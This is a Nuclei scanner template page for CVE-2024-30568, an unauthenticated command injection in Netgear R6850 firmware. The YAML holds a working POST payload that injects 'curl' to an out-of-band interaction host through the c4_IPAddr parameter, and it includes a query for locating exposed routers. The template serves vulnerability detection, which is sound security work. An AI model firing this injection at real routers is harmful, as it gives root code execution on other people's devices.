Netgear R6850 V1.1.0.88 - Command Injection

ID: CVE-2024-30568

Severity: critical

Author: ritikchaddha

Tags: cve,cve2024,cve2024-30568,netgear,router,rce,oast,iot,rce,command-injection

Description

Netgear R6850 router firmware version V1.1.0.88 suffers from a command injection vulnerability in the ping_test functionality. An unauthenticated attacker can inject arbitrary system commands through the c4_IPAddr parameter, resulting in remote code execution as root.

YAML Source

id: CVE-2024-30568

info:
  name: Netgear R6850 V1.1.0.88 - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    Netgear R6850 router firmware version V1.1.0.88 suffers from a command injection vulnerability in the ping_test functionality. An unauthenticated attacker can inject arbitrary system commands through the c4_IPAddr parameter, resulting in remote code execution as root.
  remediation: |
    Update the router firmware to the latest version once a patch is available. Implement network segmentation to restrict access to the router's management interface.
  reference:
    - https://github.com/funny-mud-peee/IoT-vuls/blob/main/netgear%20R6850/Netgear-R6850%20V1.1.0.88%20Command%20Injection(ping_test).md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30568
    - https://www.netgear.com/about/security/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-30568
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    product: Netgear R6850 Router
    vendor: Netgear
    version: V1.1.0.88
    fofa-query: app="NETGEAR" && "R6850"
  tags: cve,cve2024,cve2024-30568,netgear,router,rce,oast,iot,rce,command-injection

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: response
        words:
          - "netgear"
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /setup.cgi?id=0&sp=1337 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        todo=ping_test&c4_IPAddr=127.0.0.1 && curl {{interactsh-url}}&next_file=diagping.htm

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a1a1faf2248018d2c9cd7734a64aa9fea3d4609c53a33ce3eacd08d66c7dc74f02200b107ead44133217f1dcd3a6db98401ff5d1eb82d05dd2c338bcc0db6f0384de:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-30568.yaml"

View on Github